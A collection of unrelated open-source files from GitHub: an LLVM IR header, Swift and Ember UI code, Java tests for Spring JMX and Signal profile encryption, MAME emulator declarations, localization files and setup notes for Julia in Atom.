Allocate a User with an operand pointer co-allocated. /// /// This is used for subclasses which need to allocate a variable number /// of operands, ie, 'hung off uses'. void *operator new(size_t Size); /// Allocate a User with the operands co-allocated. /// /// This is used for subclasses which have a fixed number of operands. void *operator new(size_t Size, unsigned Us); /// Allocate a User with the operands co-allocated. If DescBytes is non-zero /// then allocate an additional DescBytes bytes before the operands. These /// bytes can be accessed by calling getDescriptor. /// /// DescBytes needs to be divisible by sizeof(void *). The allocated /// descriptor, if any, is aligned to sizeof(void *) bytes. /// /// This is used for subclasses which have a fixed number of operands. void *operator new(size_t Size, unsigned Us, unsigned DescBytes); User(Type *ty, unsigned vty, Use *, unsigned NumOps) : Value(ty, vty) { assert(NumOps < (1u << NumUserOperandsBits) && "Too many operands"); NumUserOperands = NumOps; // If we have hung off uses, then the operand list should initially be // null. assert((!HasHungOffUses || !getOperandList()) && "Error in initializing hung off uses for User"); } /// Allocate the array of Uses, followed by a pointer /// (with bottom bit set) to the User. /// \param IsPhi identifies callers which are phi nodes and which need /// N BasicBlock* allocated along with N void allocHungoffUses(unsigned N, bool IsPhi = false); /// Grow the number of hung off uses. Note that allocHungoffUses /// should be called if there are no uses. void growHungoffUses(unsigned N, bool IsPhi = false); protected: ~User() = default; // Use deleteValue() to delete a generic Instruction. public: User(const User &) = delete; /// Free memory allocated for User and Use objects. void operator delete(void *Usr); /// Placement delete - required by std, called if the ctor throws. void operator delete(void *Usr, unsigned) { // Note: If a subclass manipulates the information which is required to calculate the // Usr memory pointer, e.g. NumUserOperands, the operator delete of that subclass has // to restore the changed information to the original value, since the dtor of that class // is not called if the ctor fails. User::operator delete(Usr); #ifndef LLVM_ENABLE_EXCEPTIONS llvm_unreachable("Constructor throws?"); #endif } /// Placement delete - required by std, called if the ctor throws. void operator delete(void *Usr, unsigned, unsigned) { // Note: If a subclass manipulates the information which is required to calculate the // Usr memory pointer, e.g. NumUserOperands, the operator delete of that subclass has // to restore the changed information to the original value, since the dtor of that class // is not called if the ctor fails. User::operator delete(Usr); #ifndef LLVM_ENABLE_EXCEPTIONS llvm_unreachable("Constructor throws?"); #endif } protected: template <int Idx, typename U> static Use &OpFrom(const U *that) { return Idx < 0 ? OperandTraits<U>::op_end(const_cast<U*>(that))[Idx] : OperandTraits<U>::op_begin(const_cast<U*>(that))[Idx]; } template <int Idx> Use &Op() { return OpFrom<Idx>(this); } template <int Idx> const Use &Op() const { return OpFrom<Idx>(this); } private: const Use *getHungOffOperands() const { return *(reinterpret_cast<const Use *const *>(this) - 1); } Use *&getHungOffOperands() { return *(reinterpret_cast<Use **>(this) - 1); } const Use *getIntrusiveOperands() const { return reinterpret_cast<const Use *>(this) - NumUserOperands; } Use *getIntrusiveOperands() { return reinterpret_cast<Use *>(this) - NumUserOperands; } void setOperandList(Use *NewList) { assert(HasHungOffUses && "Setting operand list only required for hung off uses"); getHungOffOperands() = NewList; } public: const Use *getOperandList() const { return HasHungOffUses ? getHungOffOperands() : getIntrusiveOperands(); } Use *getOperandList() { return const_cast<Use *>(static_cast<const User *>(this)->getOperandList()); } Value *getOperand(unsigned i) const { assert(i < NumUserOperands && "getOperand() out of range!"); return getOperandList()[i]; } void setOperand(unsigned i, Value *Val) { assert(i < NumUserOperands && "setOperand() out of range!"); assert((!isa<Constant>((const Value*)this) || isa<GlobalValue>((const Value*)this)) && "Cannot mutate a constant with setOperand!"); getOperandList()[i] = Val; } const Use &getOperandUse(unsigned i) const { assert(i < NumUserOperands && "getOperandUse() out of range!"); return getOperandList()[i]; } Use &getOperandUse(unsigned i) { assert(i < NumUserOperands && "getOperandUse() out of range!"); return getOperandList()[i]; } unsigned getNumOperands() const { return NumUserOperands; } /// Returns the descriptor co-allocated with this User instance. ArrayRef<const uint8_t> getDescriptor() const; /// Returns the descriptor co-allocated with this User instance. MutableArrayRef<uint8_t> getDescriptor(); /// Set the number of operands on a GlobalVariable. /// /// GlobalVariable always allocates space for a single operands, but /// doesn't always use it. /// /// FIXME: As that the number of operands is used to find the start of /// the allocated memory in operator delete, we need to always think we have /// 1 operand before delete. void setGlobalVariableNumOperands(unsigned NumOps) { assert(NumOps <= 1 && "GlobalVariable can only have 0 or 1 operands"); NumUserOperands = NumOps; } /// Subclasses with hung off uses need to manage the operand count /// themselves. In these instances, the operand count isn't used to find the /// OperandList, so there's no issue in having the operand count change. void setNumHungOffUseOperands(unsigned NumOps) { assert(HasHungOffUses && "Must have hung off uses to use this method"); assert(NumOps < (1u << NumUserOperandsBits) && "Too many operands"); NumUserOperands = NumOps; } // --------------------------------------------------------------------------- // Operand Iterator interface... // using op_iterator = Use*; using const_op_iterator = const Use*; using op_range = iterator_range<op_iterator>; using const_op_range = iterator_range<const_op_iterator>; op_iterator op_begin() { return getOperandList(); } const_op_iterator op_begin() const { return getOperandList(); } op_iterator op_end() { return getOperandList() + NumUserOperands; } const_op_iterator op_end() const { return getOperandList() + NumUserOperands; } op_range operands() { return op_range(op_begin(), op_end()); } const_op_range operands() const { return const_op_range(op_begin(), op_end()); } /// Iterator for directly iterating over the operand Values. struct value_op_iterator : iterator_adaptor_base<value_op_iterator, op_iterator, std::random_access_iterator_tag, Value *, ptrdiff_t, Value *, Value *> { explicit value_op_iterator(Use *U = nullptr) : iterator_adaptor_base(U) {} Value *operator*() const { return *I; } Value *operator->() const { return operator*(); } }; value_op_iterator value_op_begin() { return value_op_iterator(op_begin()); } value_op_iterator value_op_end() { return value_op_iterator(op_end()); } iterator_range<value_op_iterator> operand_values() { return make_range(value_op_begin(), value_op_end()); } struct const_value_op_iterator : iterator_adaptor_base<const_value_op_iterator, const_op_iterator, std::random_access_iterator_tag, const Value *, ptrdiff_t, const Value *, const Value *> { explicit const_value_op_iterator(const Use *U = nullptr) : iterator_adaptor_base(U) {} const Value *operator*() const { return *I; } const Value *operator->() const { return operator*(); } }; const_value_op_iterator value_op_begin() const { return const_value_op_iterator(op_begin()); } const_value_op_iterator value_op_end() const { return const_value_op_iterator(op_end()); } iterator_range<const_value_op_iterator> operand_values() const { return make_range(value_op_begin(), value_op_end()); } /// Drop all references to operands. /// /// This function is in charge of "letting go" of all objects that this User /// refers to. This allows one to 'delete' a whole class at a time, even /// though there may be circular references... First all references are /// dropped, and all use counts go to zero. Then everything is deleted for /// real. Note that no operations are valid on an object that has "dropped /// all references", except operator delete. void dropAllReferences() { for (Use &U : operands()) U.set(nullptr); } /// Replace uses of one Value with another. /// /// Replaces all references to the "From" definition with references to the /// "To" definition. void replaceUsesOfWith(Value *From, Value *To); // Methods for support type inquiry through isa, cast, and dyn_cast: static bool classof(const Value *V) { return isa<Instruction>(V) || isa<Constant>(V); } }; // Either Use objects, or a Use pointer can be prepended to User. static_assert(alignof(Use) >= alignof(User), "Alignment is insufficient after objects prepended to User"); static_assert(alignof(Use *) >= alignof(User), "Alignment is insufficient after objects prepended to User"); template<> struct simplify_type<User::op_iterator> { using SimpleType = Value*; static SimpleType getSimplifiedValue(User::op_iterator &Val) { return Val->get(); } }; template<> struct simplify_type<User::const_op_iterator> { using SimpleType = /*const*/ Value*; static SimpleType getSimplifiedValue(User::const_op_iterator &Val) { return Val->get(); } }; } // end namespace llvm #endif // LLVM_IR_USER_H
{ "pile_set_name": "Github" }
// // Copyright (c) 2020 Related Code - http://relatedcode.com // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. import UIKit //------------------------------------------------------------------------------------------------------------------------------------------------- class Books1View: UIViewController { @IBOutlet var segmentedControl: UISegmentedControl! @IBOutlet var tableView: UITableView! private var books: [[String: String]] = [] //--------------------------------------------------------------------------------------------------------------------------------------------- override func viewDidLoad() { super.viewDidLoad() title = "Classics" navigationController?.navigationBar.prefersLargeTitles = false navigationItem.largeTitleDisplayMode = .never let buttonMenu = UIBarButtonItem(image: UIImage(systemName: "list.dash"), style: .plain, target: self, action: #selector(actionMenu(_:))) navigationItem.rightBarButtonItem = buttonMenu tableView.register(UINib(nibName: "Books1Cell", bundle: Bundle.main), forCellReuseIdentifier: "Books1Cell") updateUI() loadData() } //--------------------------------------------------------------------------------------------------------------------------------------------- override func traitCollectionDidChange(_ previousTraitCollection: UITraitCollection?) { super.traitCollectionDidChange(previousTraitCollection) updateUI() } // MARK: - Data methods //--------------------------------------------------------------------------------------------------------------------------------------------- func loadData() { books.removeAll() var dict1: [String: String] = [:] dict1["name"] = "The 7 Habits of Highly Effective People" dict1["author"] = "Stephen Covey" dict1["date"] = "Mar 17, 2020" dict1["rating"] = "4.7" dict1["review"] = "811" books.append(dict1) var dict2: [String: String] = [:] dict2["name"] = "Something I Never Told You" dict2["author"] = "Shravya Bhinder" dict2["date"] = "Mar 24, 2020" dict2["rating"] = "4.0" dict2["review"] = "894" books.append(dict2) var dict3: [String: String] = [:] dict3["name"] = "This is Not Your Story" dict3["author"] = "Savi Sharma" dict3["date"] = "Mar 15, 2020" dict3["rating"] = "3.5" dict3["review"] = "11.2k" books.append(dict3) var dict4: [String: String] = [:] dict4["name"] = "How to Win Friends and Influence People" dict4["author"] = "Dale Carnegie" dict4["date"] = "Mar 14, 2020" dict4["rating"] = "1.8" dict4["review"] = "682" books.append(dict4) var dict5: [String: String] = [:] dict5["name"] = "Dear Stranger, I Know How You Feel" dict5["author"] = "Ashish Bagrecha" dict5["date"] = "Mar 14, 2020" dict5["rating"] = "2.4" dict5["review"] = "258" books.append(dict5) var dict6: [String: String] = [:] dict6["name"] = "Who Moved My Cheese?" dict6["author"] = "Spencer Johnson" dict6["date"] = "Mar 10, 2020" dict6["rating"] = "4.9" dict6["review"] = "331" books.append(dict6) var dict7: [String: String] = [:] dict7["name"] = "The Magic of Thinking Big" dict7["author"] = "David J. Schwartz" dict7["date"] = "Mar 19, 2020" dict7["rating"] = "3.9" dict7["review"] = "19.5k" books.append(dict7) var dict8: [String: String] = [:] dict8["name"] = "Think & Grow Rich" dict8["author"] = "Napolean Hill" dict8["date"] = "Mar 15, 2020" dict8["rating"] = "5.0" dict8["review"] = "276" books.append(dict8) var dict9: [String: String] = [:] dict9["name"] = "The Power of Positive Thinking" dict9["author"] = "Norman Vincent Peale" dict9["date"] = "Mar 11, 2020" dict9["rating"] = "2.0" dict9["review"] = "214" books.append(dict9) refreshTableView() } // MARK: - Refresh methods //--------------------------------------------------------------------------------------------------------------------------------------------- func refreshTableView() { tableView.reloadData() } // MARK: - Helper methods //--------------------------------------------------------------------------------------------------------------------------------------------- func updateUI() { let background = UIColor.systemBackground.image(segmentedControl.frame.size) let selected = AppColor.Theme.image(segmentedControl.frame.size) segmentedControl.setTitleTextAttributes([NSAttributedString.Key.foregroundColor : UIColor.white], for: .selected) segmentedControl.setTitleTextAttributes([NSAttributedString.Key.foregroundColor : AppColor.Theme], for: .normal) segmentedControl.setBackgroundImage(background, for: .normal, barMetrics: .default) segmentedControl.setBackgroundImage(selected, for: .selected, barMetrics: .default) segmentedControl.setDividerImage(UIColor.systemBackground.image(), forLeftSegmentState: .normal, rightSegmentState: [.normal, .highlighted, .selected], barMetrics: .default) segmentedControl.layer.borderWidth = 1 segmentedControl.layer.borderColor = AppColor.Theme.cgColor } // MARK: - User actions //--------------------------------------------------------------------------------------------------------------------------------------------- @objc func actionMenu(_ sender: UIButton) { print(#function) } //--------------------------------------------------------------------------------------------------------------------------------------------- @IBAction func actionSegmentChange(_ sender: UISegmentedControl) { print(#function) } //--------------------------------------------------------------------------------------------------------------------------------------------- @objc func actionAdd(_ sender: UIButton) { print(#function) sender.isSelected = !sender.isSelected } } // MARK: - UITableViewDataSource //------------------------------------------------------------------------------------------------------------------------------------------------- extension Books1View: UITableViewDataSource { //--------------------------------------------------------------------------------------------------------------------------------------------- func numberOfSections(in tableView: UITableView) -> Int { return 1 } //--------------------------------------------------------------------------------------------------------------------------------------------- func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { return books.count } //--------------------------------------------------------------------------------------------------------------------------------------------- func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let cell = tableView.dequeueReusableCell(withIdentifier: "Books1Cell", for: indexPath) as! Books1Cell cell.bindData(index: indexPath.item, data: books[indexPath.row]) cell.buttonAdd.addTarget(self, action: #selector(actionAdd(_:)), for: .touchUpInside) return cell } } // MARK: - UITableViewDelegate //------------------------------------------------------------------------------------------------------------------------------------------------- extension Books1View: UITableViewDelegate { //--------------------------------------------------------------------------------------------------------------------------------------------- func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat { return 120 } //--------------------------------------------------------------------------------------------------------------------------------------------- func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) { print("didSelectItemAt \(indexPath.row)") } } // MARK: - UIColor //------------------------------------------------------------------------------------------------------------------------------------------------- fileprivate extension UIColor { //--------------------------------------------------------------------------------------------------------------------------------------------- func image(_ size: CGSize = CGSize(width: 1, height: 1)) -> UIImage { return UIGraphicsImageRenderer(size: size).image { rendererContext in setFill() rendererContext.fill(CGRect(origin: .zero, size: size)) } } }
{ "pile_set_name": "Github" }
thank you for testing the client interface nudge delivered 101 self #ifdef WINDOWS thank you for testing the client interface nudge delivered 101 self #endif nudge delivered 102 printing nudge delivered 103 terminating client exiting child has exited with status 42 app exiting client exiting
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xliff PUBLIC "-//XLIFF//DTD XLIFF//EN" "http://www.oasis-open.org/committees/xliff/documents/xliff.dtd"> <xliff version="1.0"> <file source-language="en" target-language="ca" datatype="plaintext" original="messages" date="2018-09-09T08:09:50Z" product-name="messages"> <header/> <body> <trans-unit id="1"> <source>Your description has been updated. Its descendants are being updated asynchronously – check the &lt;a href="%1"&gt;job scheduler page&lt;/a&gt; for status and details.</source> <target/> </trans-unit> </body> </file> </xliff>
{ "pile_set_name": "Github" }
{ "": [ "--------------------------------------------------------------------------------------------", "Copyright (c) Microsoft Corporation. All rights reserved.", "Licensed under the Source EULA. See License.txt in the project root for license information.", "--------------------------------------------------------------------------------------------", "Do not edit this file. It is machine generated." ], "fileBrowserErrorMessage": "Ocorreu um erro ao carregar o navegador de arquivos.", "fileBrowserErrorDialogTitle": "Erro do navegador de arquivo" }
{ "pile_set_name": "Github" }
/* * Copyright 2002-2019 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.springframework.jmx.export.assembler; import javax.management.MBeanOperationInfo; import javax.management.modelmbean.ModelMBeanAttributeInfo; import javax.management.modelmbean.ModelMBeanInfo; import org.junit.jupiter.api.Test; import static org.assertj.core.api.Assertions.assertThat; /** * @author Rob Harrop * @author David Boden * @author Chris Beams */ public class MethodNameBasedMBeanInfoAssemblerTests extends AbstractJmxAssemblerTests { protected static final String OBJECT_NAME = "bean:name=testBean5"; @Override protected String getObjectName() { return OBJECT_NAME; } @Override protected int getExpectedOperationCount() { return 5; } @Override protected int getExpectedAttributeCount() { return 2; } @Override protected MBeanInfoAssembler getAssembler() { MethodNameBasedMBeanInfoAssembler assembler = new MethodNameBasedMBeanInfoAssembler(); assembler.setManagedMethods("add", "myOperation", "getName", "setName", "getAge"); return assembler; } @Test public void testGetAgeIsReadOnly() throws Exception { ModelMBeanInfo info = getMBeanInfoFromAssembler(); ModelMBeanAttributeInfo attr = info.getAttribute(AGE_ATTRIBUTE); assertThat(attr.isReadable()).isTrue(); assertThat(attr.isWritable()).isFalse(); } @Test public void testSetNameParameterIsNamed() throws Exception { ModelMBeanInfo info = getMBeanInfoFromAssembler(); MBeanOperationInfo operationSetAge = info.getOperation("setName"); assertThat(operationSetAge.getSignature()[0].getName()).isEqualTo("name"); } @Override protected String getApplicationContextPath() { return "org/springframework/jmx/export/assembler/methodNameAssembler.xml"; } }
{ "pile_set_name": "Github" }
// license:BSD-3-Clause // copyright-holders:Wilbert Pol,Stefan Jokisch #ifndef MAME_VIDEO_VIDEO_TIA_H #define MAME_VIDEO_VIDEO_TIA_H #pragma once #include "sound/tiaintf.h" //************************************************************************** // MACROS / CONSTANTS //************************************************************************** #define TIA_PALETTE_LENGTH 128 + 128 * 128 #define TIA_INPUT_PORT_ALWAYS_ON 0 #define TIA_INPUT_PORT_ALWAYS_OFF 0xff #define TIA_MAX_SCREEN_HEIGHT 342 #define HMOVE_INACTIVE -200 #define PLAYER_GFX_SLOTS 4 // Per player graphic // - pixel number to start drawing from (0-7, from GRPx) / number of pixels drawn from GRPx // - display position to start drawing // - size to use struct player_gfx { int start_pixel[PLAYER_GFX_SLOTS]; int start_drawing[PLAYER_GFX_SLOTS]; int size[PLAYER_GFX_SLOTS]; int skipclip[PLAYER_GFX_SLOTS]; }; //************************************************************************** // TYPE DEFINITIONS //************************************************************************** // ======================> tia_video_device class tia_video_device : public device_t, public device_video_interface, public device_palette_interface { public: uint32_t screen_update(screen_device &screen, bitmap_rgb32 &bitmap, const rectangle &cliprect); auto read_input_port_callback() { return m_read_input_port_cb.bind(); } auto databus_contents_callback() { return m_databus_contents_cb.bind(); } auto vsync_callback() { return m_vsync_cb.bind(); } uint8_t read(offs_t offset); void write(offs_t offset, uint8_t data); protected: // construction/destruction tia_video_device(const machine_config &mconfig, device_type type, const char *tag, device_t *owner, uint32_t clock); template <typename T> void set_tia_tag(T &&tag) { m_tia.set_tag(std::forward<T>(tag)); } // device-level overrides virtual void device_start() override; virtual void device_reset() override; // device_palette_interface overrides virtual uint32_t palette_entries() const override { return TIA_PALETTE_LENGTH; } void extend_palette(); virtual void init_palette() = 0; void draw_sprite_helper(uint8_t* p, uint8_t *col, struct player_gfx *gfx, uint8_t GRP, uint8_t COLUP, uint8_t REFP); void draw_missile_helper(uint8_t* p, uint8_t* col, int horz, int skipdelay, int latch, int start, uint8_t RESMP, uint8_t ENAM, uint8_t NUSIZ, uint8_t COLUM); void draw_playfield_helper(uint8_t* p, uint8_t* col, int horz, uint8_t COLU, uint8_t REFPF); void draw_ball_helper(uint8_t* p, uint8_t* col, int horz, uint8_t ENAB); void drawS0(uint8_t* p, uint8_t* col); void drawS1(uint8_t* p, uint8_t* col); void drawM0(uint8_t* p, uint8_t* col); void drawM1(uint8_t* p, uint8_t* col); void drawBL(uint8_t* p, uint8_t* col); void drawPF(uint8_t* p, uint8_t *col); int collision_check(uint8_t* p1, uint8_t* p2, int x1, int x2); int current_x(); int current_y(); void setup_pXgfx(void); void update_bitmap(int next_x, int next_y); void WSYNC_w(); void VSYNC_w(uint8_t data); void VBLANK_w(uint8_t data); void CTRLPF_w(uint8_t data); void HMP0_w(uint8_t data); void HMP1_w(uint8_t data); void HMM0_w(uint8_t data); void HMM1_w(uint8_t data); void HMBL_w(uint8_t data); void HMOVE_w(uint8_t data); void RSYNC_w(); void NUSIZ0_w(uint8_t data); void NUSIZ1_w(uint8_t data); void HMCLR_w(uint8_t data); void CXCLR_w(); void RESP0_w(); void RESP1_w(); void RESM0_w(); void RESM1_w(); void RESBL_w(); void RESMP0_w(uint8_t data); void RESMP1_w(uint8_t data); void GRP0_w(uint8_t data); void GRP1_w(uint8_t data); uint8_t INPT_r(offs_t offset); private: devcb_read16 m_read_input_port_cb; devcb_read8 m_databus_contents_cb; devcb_write16 m_vsync_cb; required_device<cpu_device> m_maincpu; required_device<tia_device> m_tia; struct player_gfx p0gfx; struct player_gfx p1gfx; uint64_t frame_cycles; uint64_t paddle_start; int horzP0; int horzP1; int horzM0; int horzM1; int horzBL; int motclkP0; int motclkP1; int motclkM0; int motclkM1; int motclkBL; int startP0; int startP1; int startM0; int startM1; int skipclipP0; int skipclipP1; int skipM0delay; int skipM1delay; int current_bitmap; int prev_x; int prev_y; uint8_t VSYNC; uint8_t VBLANK; uint8_t COLUP0; uint8_t COLUP1; uint8_t COLUBK; uint8_t COLUPF; uint8_t CTRLPF; uint8_t GRP0; uint8_t GRP1; uint8_t REFP0; uint8_t REFP1; uint8_t HMP0; uint8_t HMP1; uint8_t HMM0; uint8_t HMM1; uint8_t HMBL; uint8_t VDELP0; uint8_t VDELP1; uint8_t VDELBL; uint8_t NUSIZ0; uint8_t NUSIZ1; uint8_t ENAM0; uint8_t ENAM1; uint8_t ENABL; uint8_t CXM0P; uint8_t CXM1P; uint8_t CXP0FB; uint8_t CXP1FB; uint8_t CXM0FB; uint8_t CXM1FB; uint8_t CXBLPF; uint8_t CXPPMM; uint8_t RESMP0; uint8_t RESMP1; uint8_t PF0; uint8_t PF1; uint8_t PF2; uint8_t INPT4; uint8_t INPT5; uint8_t prevGRP0; uint8_t prevGRP1; uint8_t prevENABL; int HMOVE_started; int HMOVE_started_previous; uint8_t HMP0_latch; uint8_t HMP1_latch; uint8_t HMM0_latch; uint8_t HMM1_latch; uint8_t HMBL_latch; uint8_t REFLECT; /* Should playfield be reflected or not */ uint8_t NUSIZx_changed; bitmap_ind16 helper[2]; bitmap_rgb32 buffer; uint16_t screen_height; void register_save_state(); }; class tia_pal_video_device : public tia_video_device { public: template <typename T> tia_pal_video_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock, T &&tia_tag) : tia_pal_video_device(mconfig, tag, owner, clock) { set_tia_tag(std::forward<T>(tia_tag)); } tia_pal_video_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock); protected: virtual void init_palette() override; }; class tia_ntsc_video_device : public tia_video_device { public: template <typename T> tia_ntsc_video_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock, T &&tia_tag) : tia_ntsc_video_device(mconfig, tag, owner, clock) { set_tia_tag(std::forward<T>(tia_tag)); } tia_ntsc_video_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock); protected: virtual void init_palette() override; }; // device type definition DECLARE_DEVICE_TYPE(TIA_PAL_VIDEO, tia_pal_video_device) DECLARE_DEVICE_TYPE(TIA_NTSC_VIDEO, tia_ntsc_video_device) #endif // MAME_VIDEO_TIA_H
{ "pile_set_name": "Github" }
# Contents * Basics * [Developer Install](#developer-install) – get going with Atom and Julia package development. * [Communication](communication.md) – Details how Atom and Julia both communicate with each other. These docs are evolving as we figure out the best way to get people involved. If it's hard to get things working, or anything seems out of date, broken, or just plain confusing, please do let us know so we can fix it. Even better, file a PR! # Developer Install Julia support in Atom consists of a number of packages for both Julia and Atom: * [language-julia](https://github.com/JuliaLang/atom-language-julia) – Provides basic language support for Atom, e.g. syntax highlighting. * [ink](https://github.com/JunoLab/atom-ink) – Provides generic UI components for building IDEs in Atom (e.g. the console lives here). * [CodeTools.jl](http://github.com/JunoLab/CodeTools.jl) – provides backend editor support for Julia, e.g. autocompletion and evaluation. * [Atom.jl](http://github.com/JunoLab/Atom.jl) and [julia-client](http://github.com/JunoLab/atom-julia-client) – these packages tie everything together. julia-client boots Julia from inside Atom, then communicates with the Atom.jl package to provide e.g. autocompletion and evaluation within the editor. You can install *language-julia* by using Atom's `Install Packages And Themes` command and searching for it. The Julia packages, *Atom.jl* and *CodeTools.jl*, can be installed via ```julia Pkg.clone("http://github.com/JunoLab/Atom.jl") Pkg.clone("http://github.com/JunoLab/CodeTools.jl") ``` If you already have these packages change `clone` to `checkout` here. To install the latest atom packages, run the commands: ```shell apm install https://github.com/JunoLab/atom-ink apm install https://github.com/JunoLab/atom-julia-client ``` It's a good idea to keep these up to date by running `Pkg.update()` in Julia and syncing the package repos every now and then, which will be in `~/.atom/packages/julia-client` and `~/.atom/packages/ink`. Atom will need to be reloaded, either by closing and reopening it or by running the `Window: Reload` command. At this point, you should find that there are a bunch of new Julia commands available in Atom – type "Julia" into the command palette to see what's available. If the `julia` command isn't on your path already, set the Julia path in the julia-client settings panel. Get started by going into a buffer set to Julia syntax, typing `2+2`, and pressing <kbd>C-Enter</kbd> (where <kbd>C</kbd> stands for <kbd>Ctrl</kbd>, or <kdb>Cmd</kbd> on OS X). After the client boots you should see the result pop up next to the text. You can also work in the Atom REPL by pressing <kbd>C-J C-O</kbd> – just type in the input box and <kbd>Shift-Enter</kbd> to evaluate.
{ "pile_set_name": "Github" }
<!-- SkipUnless: feedparser.BeautifulSoup Description: content contains rel='enclosure' link Expect: not bozo and entries[0]['enclosures'][0]['title'] == u'my movie' --> <feed xmlns="http://www.w3.org/2005/Atom"> <entry> <content type="xhtml"> <div xmlns="http://www.w3.org/1999/xhtml"> <p><a rel="enclosure" href="http://example.com/movie.mp4" type="video/mpeg">my movie</a></p> </div> </content> </entry> </feed>
{ "pile_set_name": "Github" }
<!-- Copyright IBM Corp. 2016, 2018 This source code is licensed under the Apache-2.0 license found in the LICENSE file in the root directory of this source tree. --> <!-- Basic without calendar (mm/yy only) --> <div class="{{@root.prefix}}--form-item"> <div class="{{@root.prefix}}--date-picker {{@root.prefix}}--date-picker--simple {{@root.prefix}}--date-picker--short"> <div class="{{@root.prefix}}--date-picker-container"> <label for="date-picker-4" class="{{@root.prefix}}--label">Date Picker label</label> <input type="text" id="date-picker-4" class="{{@root.prefix}}--date-picker__input" pattern="\d{1,2}/\d{4}" placeholder="mm/yyyy" data-date-picker-input /> </div> </div> </div> <!-- Basic without calendar --> <div class="{{@root.prefix}}--form-item"> <div class="{{@root.prefix}}--date-picker {{@root.prefix}}--date-picker--simple"> <div class="{{@root.prefix}}--date-picker-container"> <label for="date-picker-6" class="{{@root.prefix}}--label">Date Picker label</label> <input data-invalid type="text" id="date-picker-6" class="{{@root.prefix}}--date-picker__input" pattern="\d{1,2}/\d{1,2}/\d{4}" placeholder="mm/dd/yyyy" data-date-picker-input /> <div class="{{@root.prefix}}--form-requirement"> Invalid date format. </div> </div> </div> </div>
{ "pile_set_name": "Github" }
package org.whispersystems.signalservice.api.crypto; import junit.framework.TestCase; import org.conscrypt.Conscrypt; import org.signal.zkgroup.InvalidInputException; import org.signal.zkgroup.profiles.ProfileKey; import org.whispersystems.signalservice.internal.util.Util; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.security.Security; public class ProfileCipherTest extends TestCase { static { Security.insertProviderAt(Conscrypt.newProvider(), 1); } public void testEncryptDecrypt() throws InvalidCiphertextException, InvalidInputException { ProfileKey key = new ProfileKey(Util.getSecretBytes(32)); ProfileCipher cipher = new ProfileCipher(key); byte[] name = cipher.encryptName("Clement\0Duval".getBytes(), ProfileCipher.NAME_PADDED_LENGTH); byte[] plaintext = cipher.decryptName(name); assertEquals(new String(plaintext), "Clement\0Duval"); } public void testEmpty() throws Exception { ProfileKey key = new ProfileKey(Util.getSecretBytes(32)); ProfileCipher cipher = new ProfileCipher(key); byte[] name = cipher.encryptName("".getBytes(), 26); byte[] plaintext = cipher.decryptName(name); assertEquals(plaintext.length, 0); } public void testStreams() throws Exception { ProfileKey key = new ProfileKey(Util.getSecretBytes(32)); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ProfileCipherOutputStream out = new ProfileCipherOutputStream(baos, key); out.write("This is an avatar".getBytes()); out.flush(); out.close(); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ProfileCipherInputStream in = new ProfileCipherInputStream(bais, key); ByteArrayOutputStream result = new ByteArrayOutputStream(); byte[] buffer = new byte[2048]; int read; while ((read = in.read(buffer)) != -1) { result.write(buffer, 0, read); } assertEquals(new String(result.toByteArray()), "This is an avatar"); } }
{ "pile_set_name": "Github" }
import Route from '@ember/routing/route'; import EmberTableRouteMixin from 'open-event-frontend/mixins/ember-table-route'; export default class extends Route.extend(EmberTableRouteMixin) { titleToken() { return this.l10n.t('Mail Logs'); } async model(params) { const searchField = 'recipient'; const filterOptions = this.applySearchFilters([], params, searchField); let queryString = { filter : filterOptions, 'page[size]' : params.per_page || 100, 'page[number]' : params.page || 1 }; queryString = this.applySortFilters(queryString, params); return this.asArray(this.store.query('mail', queryString)); } }
{ "pile_set_name": "Github" }
package com.artemis.managers; import java.util.HashMap; import java.util.Map; import java.util.UUID; import com.artemis.Entity; import com.artemis.Manager; import com.artemis.utils.Bag; public class UuidEntityManager extends Manager { private final Map<UUID, Entity> uuidToEntity; private final Bag<UUID> entityToUuid; public UuidEntityManager() { this.uuidToEntity = new HashMap<UUID, Entity>(); this.entityToUuid = new Bag<UUID>(); } @Override public void deleted(Entity e) { UUID uuid = entityToUuid.safeGet(e.getId()); if (uuid == null) return; Entity oldEntity = uuidToEntity.get(uuid); if (oldEntity != null && oldEntity.equals(e)) uuidToEntity.remove(uuid); entityToUuid.set(e.getId(), null); } public void updatedUuid(Entity e, UUID newUuid) { setUuid(e, newUuid); } public Entity getEntity(UUID uuid) { return uuidToEntity.get(uuid); } public UUID getUuid(Entity e) { UUID uuid = entityToUuid.safeGet(e.getId()); if (uuid == null) { uuid = UUID.randomUUID(); setUuid(e, uuid); } return uuid; } public void setUuid(Entity e, UUID newUuid) { UUID oldUuid = entityToUuid.safeGet(e.getId()); if (oldUuid != null) uuidToEntity.remove(oldUuid); uuidToEntity.put(newUuid, e); entityToUuid.set(e.getId(), newUuid); } }
{ "pile_set_name": "Github" }
